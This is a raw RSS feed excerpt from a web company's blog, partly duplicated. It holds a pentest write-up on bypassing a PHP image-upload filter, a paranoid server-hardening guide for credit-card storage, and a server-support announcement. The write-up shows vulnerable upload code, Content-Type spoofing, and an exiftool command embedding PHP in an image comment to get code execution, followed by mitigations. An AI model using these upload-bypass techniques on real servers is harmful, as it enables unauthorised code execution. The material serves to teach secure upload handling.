<p><em>$ exiftool -Comment='<!--?php phpinfo(); __halt_compiler(); ?-->' info.php  1 image files updated</em></p>
<p>When you upload the image with a .php extension, it will be interpreted by the PHP interpreter, and the code will be executed on the server. Depending on the server configuration, you might be able to upload the image with .php.jpg extension. If the check for the extension is not done correctly, and if the server configuration allows it, you can still get code execution. Easy, eh?</p>
<h3>Protection</h3>
<p>So what can be done to prevent this? With a mixture of secure coding a some server-side tweaks, you can achieve a pretty secure file upload functionality.</p>
<ul>
<li>[Code]&nbsp;Check for the Content-Type header. This may fool some script kiddies or less-determined attackers.</li>
<li>[Code] Check for the file extension. Replace .php, .py, etc. with, say, _php, _py, etc.</li>
<li>[Server] Disable script execution in the upload directory. Even if a script is uploaded, the web server will not execute it.</li>
<li>[Server] Disable HTTP access to the upload directory, that is if the files are only meant to be accessible only from scripts using the file system.Otherwise, &nbsp;although the script will not be executed locally on the server, it could still be used by attackers in Remote File Inclusion attacks. If they target another server with an application that has an RFI vulnerability and allow_url_include is on, they can upload a script on your server and use it to get a shell on the vulnerable machine.</li>
</ul>
<h3>Conclusion</h3>
<p>Developers often forget that relying on client-side controls is a bad thing. They should always code under the assumption that the application may be (ab)used by malicious user. Everything on the client side can be controlled and therefore, evaded. The more you check the user input, the better.  And of course, the server configuration should be as hardened as possible.</p>]]></description>
				<content:encoded><![CDATA[<p>What can I say about file upload forms? Every pentester simply loves them - the ability to upload data on the server you are testing is what you always aim for.  During a recent penetration test, I had quite the fun with this form that was supposed to allow registered users of the site to upload pictures and videos in their profiles. The idea behind the test was to report everything as it was found, and the developers would fix it on the fly.  The usual SQL injection and XSS issues they had no problems with, but the image upload turned to be a real&nbsp;challenge.  When I got to the file upload form, it performed no checks whatsoever. I tried to upload a PHP shell, and a second later I was doing the happy hacker dance.</p>
<h3>The challenge</h3>
<p>So the developers applied the following fix:</p>
<p><em>$valid = false; if(preg_match('/^image/', $_FILES['file']['type'])) { 	$info = getimagesize($_FILES['file']['tmp_name']); 	if(!empty($info)) 		$valid = true; 	} elseif(preg_match('/^video/', $_FILES['file']['type'])) { 		$valid = true; 	} else { 		@unlink($_FILES['file']['tmp_name']); 	}<br /> if($valid) {     move_uploaded_file( $_FILES['file']['tmp_name'], 'images'.'/'.$_FILES['file']['name'] );</em></p>
<p>The code is now checking the type of the file and size of the images. However, there are a few issues with this check:</p>
<ul>
<li>the type of the file is checked via the Content-Type header, which is passed to the script by the client, and therefore, can be easily modified;</li>
<li>the script is not checking the file extension, and you can still upload a .php file;</li>
<li>the check for the videos is only based on the Content-Type header.</li>
</ul>
<h3>Evasion</h3>
<p>It is fairly easy to evade this kind of protection of file upload forms.  The easiest thing, of course, is to upload a PHP script, by changing the Content-Type header of the HTTP request to image/video. To do this, you need to intercept the outgoing HTTP request with a local proxy, such as Burp or Webscarab, but Tamper Data for Firefox will do just fine.  You can also upload a valid image and insert PHP code in the EXIF. To do this, you can insert the code in the Comments field, e.g.:</p>
<p><em>$ exiftool -Comment='<!--?php phpinfo(); __halt_compiler(); ?-->' info.php  1 image files updated</em></p>
<p>When you upload the image with a .php extension, it will be interpreted by the PHP interpreter, and the code will be executed on the server. Depending on the server configuration, you might be able to upload the image with .php.jpg extension. If the check for the extension is not done correctly, and if the server configuration allows it, you can still get code execution. Easy, eh?</p>
<h3>Protection</h3>
<p>So what can be done to prevent this? With a mixture of secure coding a some server-side tweaks, you can achieve a pretty secure file upload functionality.</p>
<ul>
<li>[Code]&nbsp;Check for the Content-Type header. This may fool some script kiddies or less-determined attackers.</li>
<li>[Code] Check for the file extension. Replace .php, .py, etc. with, say, _php, _py, etc.</li>
<li>[Server] Disable script execution in the upload directory. Even if a script is uploaded, the web server will not execute it.</li>
<li>[Server] Disable HTTP access to the upload directory, that is if the files are only meant to be accessible only from scripts using the file system.Otherwise, &nbsp;although the script will not be executed locally on the server, it could still be used by attackers in Remote File Inclusion attacks. If they target another server with an application that has an RFI vulnerability and allow_url_include is on, they can upload a script on your server and use it to get a shell on the vulnerable machine.</li>
</ul>
<h3>Conclusion</h3>
<p>Developers often forget that relying on client-side controls is a bad thing. They should always code under the assumption that the application may be (ab)used by malicious user. Everything on the client side can be controlled and therefore, evaded. The more you check the user input, the better.  And of course, the server configuration should be as hardened as possible.</p>]]></content:encoded>
			</item>
					<item>
				<title>Paranoid</title>
				<link>http://mtr-design.com/blog/paranoid/</link>
				<pubDate>Thu, 21 Jun 2012 14:46:07 +0000</pubDate>
				<dc:creator>Dimitar Ivanov</dc:creator>
									<category><![CDATA[Security]]></category>
									<category><![CDATA[Server Administration]]></category>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/paranoid/</guid>
								<description><![CDATA[<p>A couple of years ago, one of our clients asked us to design a server setup that would host a PHP application for credit card storage. The application would have to be accessible from different location, only by their employees.</p>
<p>Below is the design guide, produced by our team.</p>
<p>What we tried to do, was make the security as paranoid as possible, and still leave the system in a usable state. Of course, there is always something else that you can do to tighten the security even more, but this will lead to functional inconveniences which we'd rather not live with.</p>
<p>The principle we followed was "deny all, allow certain things."&nbsp;Therefore, the main design principles are:</p>
<ul>
<li>Close all doors securely.</li>
<li>Open some doors.</li>
<li>Closely monitor the activity of the doors you opened.</li>
<li>Always be alert and monitor for suspicious activity of any kind (newly opened doors, unknown processes, unknown states of the system, etc)</li>
</ul>
<h3>Server installation and setup notes</h3>
<ul>
<li>Install a bare Linux, no services at all running ("netstat -lnp" must show no listening ports).</li>
<li>Install an intrusion detection system (which monitors system files for modifications).</li>
<li>Use the 'grsecurity' Linux kernel patches - they help against a lot of 'off-the-shelf' exploits</li>
<li><strong>(door #1)</strong> Install the OpenSSH server (22 port), so that you can manage the server.     
<ul>
<li>Disallow password logins, allow ONLY public keys, SSH v2.</li>
<li>Set&nbsp;PermitUserEnvironment to "yes".</li>
<li>Set a "KEYHOLDER" environmental variable in the ~/.ssh/authorized_keys file.</li>
<li>Send an e-mail if the KEYHOLDER variable is not set when a shell instance is started.</li>
</ul>
</li>
<li>Set up an external DNS server in "/etc/resolv.conf" for resolving.</li>
<li><strong>(door #2)</strong> Install a web server, for example Apache.     
<ul>
<li>Leave only the barely needed modules.</li>
<li>Set up the vhost to work only with SSL, no plain HTTP (<a href="http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html" target="_blank">http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html</a>).</li>
<li>Purchase an SSL certificate for the server's vhost, so that clients can validate it.</li>
<li>Do not set up multiple vhosts on the server; this server will have only one purpose - to store and send data securely; don't be tempted to assign more tasks here.</li>
<li>Install a Web Application firewall (mod_security, etc.) - it will detect common web-based attacks. Monitor its logs.</li>
<li>Limit HTTP methods to good ones only, unexpected HTTP methods should get into the error logs and raise an eyebrow (generate alerts).</li>
<li>Disable directory listing in Apache.</li>
<li>Disable multiviews/content negotiation in Apache if your app does not rely on them.</li>
</ul>
</li>
<li>Install an Application Firewall (e.g. AppArmor) - apps should not try to access resources they have no (legal) business with. For example, Apache should not try to read into /root/.</li>
<li>Install a MySQL server, bind it to address 127.0.0.1 so that network usage isn't possible.</li>
<li>Install a mail server like Exim or Postfix but let it send only locally generated e-mails; there is no need to have a fully functional mail server, listening on the machine.</li>
<li>Firewall INPUT and FORWARD iptables chains completely (set default policy to DROP), except for the following simple rules:     
<ul>
<li>INCOMING TCP connections TO port 22 FROM your IP address(es) - allow enough IP addresses, so that you don't lock yourself out;</li>
<li>INCOMING TCP connections TO port 443 FROM your clients' IP address(es) - the CRM application's IP address, etc.;</li>
<li>Allow INCOMING TCP, UDP and ICMP connections which are in state ESTABLISHED (i.e. initiated by the server or on the SSH port).</li>
</ul>
</li>
<li>Log remotely, so if the system does get compromised, the attacker wouldn't be able to completely cover their traces. Copying over the log files on designated intervals is OK-ish, but real-time remote logging (like sysylog over SSL) is much better, as there would be no window where the logs could be erased/tampered with. Make an automatic checker which confirms that the remote logs, and the local logs are the same - an alarm bell should go off if they aren't.</li>
</ul>
<p><strong> Door #1 (SSH)</strong> can be considered closed and monitored:</p>
<ul>
<li>It works only with few IP addresses.</li>
<li>Does not allow plain text logins, so brute-force attacks are useless.</li>
<li>A notification is sent when the door is opened by unauthorized users.</li>
</ul>
<p><strong> Door #2 (web server)</strong> must be taken special care of.</p>
<ul>
<li>Review the access log of the server daily in regards to how many requests were made =&gt; if there are too many requests, then review the log manually and see which application/user made the requests; set a very low threshold as a start and increase it accordingly with time.</li>
<li>Review the error log of the server =&gt; send a mail alert if it has new data in it.</li>
</ul>
<p>Consider using some kind of VPN (e.g. PPTP/IPSec/OpenVPN) as an added layer of network authentication. You can then bind the web server to the VPN IP address (so direct network access is completely disabled) and set the firewall to only allow the internal VPN IPs on port 443.</p>
<h3>General server activity monitoring</h3>
<ul>
<li>Set the mail for "root" to go to your email address (crontab and other daemons send mail to "root").</li>
<li>Review the http://mtr-design.com/var/log/syslog log of the server =&gt; send a mail alert if there is new data in it.</li>
<li>Do a "ps auxww" list of the processes =&gt; if there are unknown processes (as names, running user, etc) =&gt; send a mail alert to yourself.</li>
<li>Do a "netstat -lnp" list of the listening ports =&gt; mail alert if something changed here.</li>
<li>Test the firewall settings from an untrusted IP - the connections must be denied.</li>
</ul>
<p>Finally, update the software on the server regularly. E-mail yourself an alert if there are new packages available for update.</p>
<h3>Application Design Notes</h3>
<p>The SSL (HTTPS) vhost will most probably run mod_php. When designing the application, the following must be taken care of:</p>
<ul>
<li>Every user working with the system must be unique. Give unique login credentials to each of the employees, and let them know that their actions are being monitored personally, and they must not in any case give their login credentials to other employees.</li>
<li>Enforce strong passwords. There are tips in the <a title="Implement Proper Password Strength Controls" href="https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls" target="_blank">OWASP Authentication Cheat Sheet</a>.</li>
<li>If the employees work fixed hours, any kind of login during off hours should be regarded as a highly suspicious event. For example, if employees work 9am-6pm, any successful/unsuccessful login made &nbsp;between 6pm - 9am &nbsp;should trigger an alert.</li>
<li>Store any data in an encrypted form; use a strong encryption algorithm like AES-256.</li>
<li>Encrypt the data with a very long key.</li>
<li>Optional but highly recommended - do not store the key on the server. Instead, when the application is being started (for example when the server has just been rebooted), it must wait for the password to be entered. An example scenario is:     
<ul>
<li>The application expects that the encryption key would be found in the file /dev/shm/ekey; /dev/shm is an in-memory storage location - it doesn't persist upon reboots;</li>
<li>Manually open the file /dev/shm/ekey-tmp with "cat &gt; /dev/shm/ekey-tmp", enter the password there, then rename the file to "/dev/shm/ekey";</li>
<li>The application polls regularly for this file, reads it and then immediately deletes it;</li>
<li>Wait and verify that the file was deleted from /dev/shm.</li>
<li>Now your key is stored only in memory and is much more harder for an attacker to obtain it.</li>
</ul>
</li>
<li>Set up the webapp access the MySQL server though an unprivileged user, restricted to a single database (*not* as MySQL's root).</li>
<li>Develop ACL lists on who can see what part of the information; split the information accordingly.</li>
<li>Every incoming GET, POST, SESSION or FILES request must be validated; do not allow bad input data.</li>
<li>Every unknown/error/bad state of the system (unable to verify input data, mysql errors, etc) must be mailed to you as a notification (do not mail details in a plain-text email, just a notification; then check it via SSH on the server).</li>
<li>Code should be clean and readable; do not over-engineer the system.</li>
<li>Make a log entry for EVERY action - both read and write ones; do NOT store any sensitive data in the logs.</li>
<li>Ensure that the application has a &ldquo;safe mode&rdquo; to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.</li>
<li>Suppress error output when running in &nbsp;production mode - debug info on errors should only be sent back to the visitor in *development* mode. Once the app is deployed debug output = leaking sensitive information.</li>
<li>Backup the data on an external server. The backup should be carried over a secure connection and kept encrypted.</li>
</ul>
<p>So far so good. Up to now, we should have a system which is secure, logs everything, sends alerts and can store and retrieve sensitive data. The only question is - how do we authenticate against the system in a secure manner?</p>
<p>The best way to achieve this is to implement a two-factor authentication: a username/password and a client certificate.</p>
<ul>
<li>Set up your own CA and issue certificates for your employees:</li>
<li>Keep the CA root certificate in a secure place!! Nobody must be able to get it, or else your whole certificate system will be compromised.</li>
<li>Set up the web server vhost to require a client certificate (How can I force clients to authenticate using certificates? from&nbsp;<a href="http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html" target="_blank">http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html</a>). This way, right after somebody opens up the login page, you would already know what client (employee) certificate they are using.</li>
<li>The client certificates must be protected with a password; this makes the security better - in order to log in, you must fist unlock your client certificate with its password, then open the login page and provide your own user/pass pair.</li>
<li>Consider using turning-test based login forms, e.g. http://community.citrix.com/display/ocb/2009/07/01/Easy+Mutli-Factor+Authentication . This will protect the passwords against keyboard sniffing.</li>
<li>The web server must     
<ul>
<li>match each user/pass to their corresponding certificate;</li>
<li>have an easy mechanism for certificate revoking (disabling), in case you decide to part your way with an employee of yours.</li>
</ul>
</li>
<li>Once logged in, create a standard PHP session and code as usual.</li>
<li>The most critical and important (and not very often) operations should be approved only once the user re-enters their password; this prevents replay attacks. For example, if you want to view the whole credit card number info (and you don't usually need this), the system will first ask you "Re-enter your password and I'll show you the information". Banks usually use this kind of protection method for every online transaction.</li>
<li>Expire sessions regularly - in a few hours or less of inactivity.</li>
<li>If possible, tie every session to its source IP address; that is - log the IP address upon login and don't allow other IP addresses to use this session ID. Note: some providers like AOL (used to) have transparent IP balancing proxies and with them the IP address of a single client may change in time; you cannot use this security method if you have such clients (try it).</li>
</ul>
<p>Having a system like this should be protected against most attacks. Here are a couple of scenarios:</p>
<ul>
<li>Brute-force attacks at the login page - they will not succeed because a user/pass + client certificate are required. Actually, without a certificate, the login page will not be displayed at all.</li>
<li>Someone steals a user laptop - they cannot use the certificate (even if they know the user/pass pair), because they don't know its password.</li>
<li>Someone sees a user entering their passwords - they cannot use them because they don't have your client certificate.</li>
<li>An employee starts to harvest the customer data - you have a rate limit of requests per employee, and also a general rate limit of requests to your database - you get an alert and investigate this further manually (you have full logs on the server).</li>
<li>Someone hacks into your server and quickly copies the database + PHP scripts onto a remote machine - they cannot use the data, because it is encrypted and you never stored the key in a file on the server - you enter the key every time manually upon server start-up.</li>
<li>Someone initiates a man-in-the-middle attack and sniffs your traffic - you are using only HTTPS and never accept/disregard SSL warnings in your browser - you are safe, the traffic cannot be read by third parties.</li>
<li>Someone totally gets control over a user computer (installs a key logger and copies your files) - you are doomed, nothing can help you, unless the compromised does not go unnoticed.</li>
<li>Someone really good hacks your server and spends a few days learning your system - if the intrusion detection system, and the custom monitor scripts didn't catch the hacker, and he spent days on your server trying to break your system, then you are in real trouble. This scenario has a very low probability; really smart hackers are usually not tempted in doing bad things.</li>
</ul>
<p>The integration of such a secure database system could be easy. For example, if you have a customer with name XYZ, you can assign a unique number for this customer in your CRM system. Then you can use the secure storage to save sensitive data about this customer by referring to this unique number in the secure database system. It is true that your employees will have to work with one more interface, the interface of the secure database system, but this is the price of security - you have to sacrifice convenience for it.</p>
<h3>Conclusion</h3>
<p>Careful implementation of all of the above measures will further increase the security of the system, making the server extremely resilient against cyber attacks. Remember though, security is not a state - it's a process. Hire someone to take care of all security-related tasks on an ongoing basis.</p>
<p>Another point - as great as this all sounds on paper, it's the implementation that counts. Be careful with the implementation of the different services, safeguards and applications.</p>
<p>The weakest point in such a system would be the employee computer. A hacker who knows the basic layout of the server (and it follows the recommendations given so far) would focus on attacking the computer of some employee. Do not ignore the client side of the equation - this is quite often the weakest link in the chain.</p>
<p>We have plans to write a post about the client side too.</p>]]></description>
				<content:encoded><![CDATA[<p>A couple of years ago, one of our clients asked us to design a server setup that would host a PHP application for credit card storage. The application would have to be accessible from different location, only by their employees.</p>
<p>Below is the design guide, produced by our team.</p>
<p>What we tried to do, was make the security as paranoid as possible, and still leave the system in a usable state. Of course, there is always something else that you can do to tighten the security even more, but this will lead to functional inconveniences which we'd rather not live with.</p>
<p>The principle we followed was "deny all, allow certain things."&nbsp;Therefore, the main design principles are:</p>
<ul>
<li>Close all doors securely.</li>
<li>Open some doors.</li>
<li>Closely monitor the activity of the doors you opened.</li>
<li>Always be alert and monitor for suspicious activity of any kind (newly opened doors, unknown processes, unknown states of the system, etc)</li>
</ul>
<h3>Server installation and setup notes</h3>
<ul>
<li>Install a bare Linux, no services at all running ("netstat -lnp" must show no listening ports).</li>
<li>Install an intrusion detection system (which monitors system files for modifications).</li>
<li>Use the 'grsecurity' Linux kernel patches - they help against a lot of 'off-the-shelf' exploits</li>
<li><strong>(door #1)</strong> Install the OpenSSH server (22 port), so that you can manage the server.     
<ul>
<li>Disallow password logins, allow ONLY public keys, SSH v2.</li>
<li>Set&nbsp;PermitUserEnvironment to "yes".</li>
<li>Set a "KEYHOLDER" environmental variable in the ~/.ssh/authorized_keys file.</li>
<li>Send an e-mail if the KEYHOLDER variable is not set when a shell instance is started.</li>
</ul>
</li>
<li>Set up an external DNS server in "/etc/resolv.conf" for resolving.</li>
<li><strong>(door #2)</strong> Install a web server, for example Apache.     
<ul>
<li>Leave only the barely needed modules.</li>
<li>Set up the vhost to work only with SSL, no plain HTTP (<a href="http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html" target="_blank">http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html</a>).</li>
<li>Purchase an SSL certificate for the server's vhost, so that clients can validate it.</li>
<li>Do not set up multiple vhosts on the server; this server will have only one purpose - to store and send data securely; don't be tempted to assign more tasks here.</li>
<li>Install a Web Application firewall (mod_security, etc.) - it will detect common web-based attacks. Monitor its logs.</li>
<li>Limit HTTP methods to good ones only, unexpected HTTP methods should get into the error logs and raise an eyebrow (generate alerts).</li>
<li>Disable directory listing in Apache.</li>
<li>Disable multiviews/content negotiation in Apache if your app does not rely on them.</li>
</ul>
</li>
<li>Install an Application Firewall (e.g. AppArmor) - apps should not try to access resources they have no (legal) business with. For example, Apache should not try to read into /root/.</li>
<li>Install a MySQL server, bind it to address 127.0.0.1 so that network usage isn't possible.</li>
<li>Install a mail server like Exim or Postfix but let it send only locally generated e-mails; there is no need to have a fully functional mail server, listening on the machine.</li>
<li>Firewall INPUT and FORWARD iptables chains completely (set default policy to DROP), except for the following simple rules:     
<ul>
<li>INCOMING TCP connections TO port 22 FROM your IP address(es) - allow enough IP addresses, so that you don't lock yourself out;</li>
<li>INCOMING TCP connections TO port 443 FROM your clients' IP address(es) - the CRM application's IP address, etc.;</li>
<li>Allow INCOMING TCP, UDP and ICMP connections which are in state ESTABLISHED (i.e. initiated by the server or on the SSH port).</li>
</ul>
</li>
<li>Log remotely, so if the system does get compromised, the attacker wouldn't be able to completely cover their traces. Copying over the log files on designated intervals is OK-ish, but real-time remote logging (like sysylog over SSL) is much better, as there would be no window where the logs could be erased/tampered with. Make an automatic checker which confirms that the remote logs, and the local logs are the same - an alarm bell should go off if they aren't.</li>
</ul>
<p><strong> Door #1 (SSH)</strong> can be considered closed and monitored:</p>
<ul>
<li>It works only with few IP addresses.</li>
<li>Does not allow plain text logins, so brute-force attacks are useless.</li>
<li>A notification is sent when the door is opened by unauthorized users.</li>
</ul>
<p><strong> Door #2 (web server)</strong> must be taken special care of.</p>
<ul>
<li>Review the access log of the server daily in regards to how many requests were made =&gt; if there are too many requests, then review the log manually and see which application/user made the requests; set a very low threshold as a start and increase it accordingly with time.</li>
<li>Review the error log of the server =&gt; send a mail alert if it has new data in it.</li>
</ul>
<p>Consider using some kind of VPN (e.g. PPTP/IPSec/OpenVPN) as an added layer of network authentication. You can then bind the web server to the VPN IP address (so direct network access is completely disabled) and set the firewall to only allow the internal VPN IPs on port 443.</p>
<h3>General server activity monitoring</h3>
<ul>
<li>Set the mail for "root" to go to your email address (crontab and other daemons send mail to "root").</li>
<li>Review the http://mtr-design.com/var/log/syslog log of the server =&gt; send a mail alert if there is new data in it.</li>
<li>Do a "ps auxww" list of the processes =&gt; if there are unknown processes (as names, running user, etc) =&gt; send a mail alert to yourself.</li>
<li>Do a "netstat -lnp" list of the listening ports =&gt; mail alert if something changed here.</li>
<li>Test the firewall settings from an untrusted IP - the connections must be denied.</li>
</ul>
<p>Finally, update the software on the server regularly. E-mail yourself an alert if there are new packages available for update.</p>
<h3>Application Design Notes</h3>
<p>The SSL (HTTPS) vhost will most probably run mod_php. When designing the application, the following must be taken care of:</p>
<ul>
<li>Every user working with the system must be unique. Give unique login credentials to each of the employees, and let them know that their actions are being monitored personally, and they must not in any case give their login credentials to other employees.</li>
<li>Enforce strong passwords. There are tips in the <a title="Implement Proper Password Strength Controls" href="https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls" target="_blank">OWASP Authentication Cheat Sheet</a>.</li>
<li>If the employees work fixed hours, any kind of login during off hours should be regarded as a highly suspicious event. For example, if employees work 9am-6pm, any successful/unsuccessful login made &nbsp;between 6pm - 9am &nbsp;should trigger an alert.</li>
<li>Store any data in an encrypted form; use a strong encryption algorithm like AES-256.</li>
<li>Encrypt the data with a very long key.</li>
<li>Optional but highly recommended - do not store the key on the server. Instead, when the application is being started (for example when the server has just been rebooted), it must wait for the password to be entered. An example scenario is:     
<ul>
<li>The application expects that the encryption key would be found in the file /dev/shm/ekey; /dev/shm is an in-memory storage location - it doesn't persist upon reboots;</li>
<li>Manually open the file /dev/shm/ekey-tmp with "cat &gt; /dev/shm/ekey-tmp", enter the password there, then rename the file to "/dev/shm/ekey";</li>
<li>The application polls regularly for this file, reads it and then immediately deletes it;</li>
<li>Wait and verify that the file was deleted from /dev/shm.</li>
<li>Now your key is stored only in memory and is much more harder for an attacker to obtain it.</li>
</ul>
</li>
<li>Set up the webapp access the MySQL server though an unprivileged user, restricted to a single database (*not* as MySQL's root).</li>
<li>Develop ACL lists on who can see what part of the information; split the information accordingly.</li>
<li>Every incoming GET, POST, SESSION or FILES request must be validated; do not allow bad input data.</li>
<li>Every unknown/error/bad state of the system (unable to verify input data, mysql errors, etc) must be mailed to you as a notification (do not mail details in a plain-text email, just a notification; then check it via SSH on the server).</li>
<li>Code should be clean and readable; do not over-engineer the system.</li>
<li>Make a log entry for EVERY action - both read and write ones; do NOT store any sensitive data in the logs.</li>
<li>Ensure that the application has a &ldquo;safe mode&rdquo; to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.</li>
<li>Suppress error output when running in &nbsp;production mode - debug info on errors should only be sent back to the visitor in *development* mode. Once the app is deployed debug output = leaking sensitive information.</li>
<li>Backup the data on an external server. The backup should be carried over a secure connection and kept encrypted.</li>
</ul>
<p>So far so good. Up to now, we should have a system which is secure, logs everything, sends alerts and can store and retrieve sensitive data. The only question is - how do we authenticate against the system in a secure manner?</p>
<p>The best way to achieve this is to implement a two-factor authentication: a username/password and a client certificate.</p>
<ul>
<li>Set up your own CA and issue certificates for your employees:</li>
<li>Keep the CA root certificate in a secure place!! Nobody must be able to get it, or else your whole certificate system will be compromised.</li>
<li>Set up the web server vhost to require a client certificate (How can I force clients to authenticate using certificates? from&nbsp;<a href="http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html" target="_blank">http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html</a>). This way, right after somebody opens up the login page, you would already know what client (employee) certificate they are using.</li>
<li>The client certificates must be protected with a password; this makes the security better - in order to log in, you must fist unlock your client certificate with its password, then open the login page and provide your own user/pass pair.</li>
<li>Consider using turning-test based login forms, e.g. http://community.citrix.com/display/ocb/2009/07/01/Easy+Mutli-Factor+Authentication . This will protect the passwords against keyboard sniffing.</li>
<li>The web server must     
<ul>
<li>match each user/pass to their corresponding certificate;</li>
<li>have an easy mechanism for certificate revoking (disabling), in case you decide to part your way with an employee of yours.</li>
</ul>
</li>
<li>Once logged in, create a standard PHP session and code as usual.</li>
<li>The most critical and important (and not very often) operations should be approved only once the user re-enters their password; this prevents replay attacks. For example, if you want to view the whole credit card number info (and you don't usually need this), the system will first ask you "Re-enter your password and I'll show you the information". Banks usually use this kind of protection method for every online transaction.</li>
<li>Expire sessions regularly - in a few hours or less of inactivity.</li>
<li>If possible, tie every session to its source IP address; that is - log the IP address upon login and don't allow other IP addresses to use this session ID. Note: some providers like AOL (used to) have transparent IP balancing proxies and with them the IP address of a single client may change in time; you cannot use this security method if you have such clients (try it).</li>
</ul>
<p>Having a system like this should be protected against most attacks. Here are a couple of scenarios:</p>
<ul>
<li>Brute-force attacks at the login page - they will not succeed because a user/pass + client certificate are required. Actually, without a certificate, the login page will not be displayed at all.</li>
<li>Someone steals a user laptop - they cannot use the certificate (even if they know the user/pass pair), because they don't know its password.</li>
<li>Someone sees a user entering their passwords - they cannot use them because they don't have your client certificate.</li>
<li>An employee starts to harvest the customer data - you have a rate limit of requests per employee, and also a general rate limit of requests to your database - you get an alert and investigate this further manually (you have full logs on the server).</li>
<li>Someone hacks into your server and quickly copies the database + PHP scripts onto a remote machine - they cannot use the data, because it is encrypted and you never stored the key in a file on the server - you enter the key every time manually upon server start-up.</li>
<li>Someone initiates a man-in-the-middle attack and sniffs your traffic - you are using only HTTPS and never accept/disregard SSL warnings in your browser - you are safe, the traffic cannot be read by third parties.</li>
<li>Someone totally gets control over a user computer (installs a key logger and copies your files) - you are doomed, nothing can help you, unless the compromised does not go unnoticed.</li>
<li>Someone really good hacks your server and spends a few days learning your system - if the intrusion detection system, and the custom monitor scripts didn't catch the hacker, and he spent days on your server trying to break your system, then you are in real trouble. This scenario has a very low probability; really smart hackers are usually not tempted in doing bad things.</li>
</ul>
<p>The integration of such a secure database system could be easy. For example, if you have a customer with name XYZ, you can assign a unique number for this customer in your CRM system. Then you can use the secure storage to save sensitive data about this customer by referring to this unique number in the secure database system. It is true that your employees will have to work with one more interface, the interface of the secure database system, but this is the price of security - you have to sacrifice convenience for it.</p>
<h3>Conclusion</h3>
<p>Careful implementation of all of the above measures will further increase the security of the system, making the server extremely resilient against cyber attacks. Remember though, security is not a state - it's a process. Hire someone to take care of all security-related tasks on an ongoing basis.</p>
<p>Another point - as great as this all sounds on paper, it's the implementation that counts. Be careful with the implementation of the different services, safeguards and applications.</p>
<p>The weakest point in such a system would be the employee computer. A hacker who knows the basic layout of the server (and it follows the recommendations given so far) would focus on attacking the computer of some employee. Do not ignore the client side of the equation - this is quite often the weakest link in the chain.</p>
<p>We have plans to write a post about the client side too.</p>]]></content:encoded>
			</item>
					<item>
				<title>Server support enabled</title>
				<link>http://mtr-design.com/blog/server-support-enabled/</link>
				<pubDate>Thu, 03 May 2012 14:46:22 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[Projects]]></category>
									<category><![CDATA[Server Administration]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/server-support-enabled/</guid>
								<description><![CDATA[<p>Two days of email / chat and phone ping pong and you problem still exists. One support guru sends you to another, the second one asks you the same questions as the first, all say they'll call back no one does, and no one has a clue... Does it sound familiar? And all this pours over you at the most improper moment when you&rsquo;ve already invested a great deal of money and time into your website or application and you&rsquo;ve been observing your clients growing by number.</p>
<p>Started as an interim support contract for a client's site, launched at the end of 2011 and tried out for a couple of months, we think it's time to introduce our new service to the public &ndash; Server Support. Actually the service was first tried and tested in the beginning of summer 2011, when we welcomed our first in-house system engineer. He put our hosting infrastructure in order, enriching our experience with his. Our good friends from KEO Films were the first to evaluate the usefulness of the service, as due to some bespoke optimization and skilled maintenance the performance capacity of the machines exceeded our and their expectations (and saved a lot of money too).</p>
<p>The next logical step was to offer this support to anyone who may need it. So now you can see for yourselves what a good server support stands for:</p>
<ul>
<li>&ldquo;Office hours support&rdquo; or &ldquo;24/7 support&rdquo; depending on your requirements</li>
<li>No more&nbsp; bot replies and &ldquo;sick-of-it-all&rdquo; operators - our small support team consists entirely of system engineers, and they will be the ones to answer your call even in the middle of the night</li>
<li>Thorough inspection - prior to taking an engagement our team always spends some time checking out the code of the website and the application and discussing with clients the priority the issues to be handled. One never knows what&rsquo;s around the corner, so we prefer to have a certain idea about the actions to be undertaken and the sequence of these actions.</li>
<li>Our clients will be granted access to our own server monitoring application (we will soon post more info about it).</li>
</ul>
<p>We take our work personally. In order to provide the most adequate support our system engineers follow the inner relations between servers&rsquo; software and the hosted applications, as well as the impact of various events &ndash; software updates, introduction of new modules, etc. Thus they are few steps forward to the solution when the server fails to perform. And you know that speed and accuracy are of great importance when your reputation and money are at stake.</p>]]></description>
				<content:encoded><![CDATA[<p>Two days of email / chat and phone ping pong and you problem still exists. One support guru sends you to another, the second one asks you the same questions as the first, all say they'll call back no one does, and no one has a clue... Does it sound familiar? And all this pours over you at the most improper moment when you&rsquo;ve already invested a great deal of money and time into your website or application and you&rsquo;ve been observing your clients growing by number.</p>
<p>Started as an interim support contract for a client's site, launched at the end of 2011 and tried out for a couple of months, we think it's time to introduce our new service to the public &ndash; Server Support. Actually the service was first tried and tested in the beginning of summer 2011, when we welcomed our first in-house system engineer. He put our hosting infrastructure in order, enriching our experience with his. Our good friends from KEO Films were the first to evaluate the usefulness of the service, as due to some bespoke optimization and skilled maintenance the performance capacity of the machines exceeded our and their expectations (and saved a lot of money too).</p>
<p>The next logical step was to offer this support to anyone who may need it. So now you can see for yourselves what a good server support stands for:</p>
<ul>
<li>&ldquo;Office hours support&rdquo; or &ldquo;24/7 support&rdquo; depending on your requirements</li>
<li>No more&nbsp; bot replies and &ldquo;sick-of-it-all&rdquo; operators - our small support team consists entirely of system engineers, and they will be the ones to answer your call even in the middle of the night</li>
<li>Thorough inspection - prior to taking an engagement our team always spends some time checking out the code of the website and the application and discussing with clients the priority the issues to be handled. One never knows what&rsquo;s around the corner, so we prefer to have a certain idea about the actions to be undertaken and the sequence of these actions.</li>
<li>Our clients will be granted access to our own server monitoring application (we will soon post more info about it).</li>
</ul>
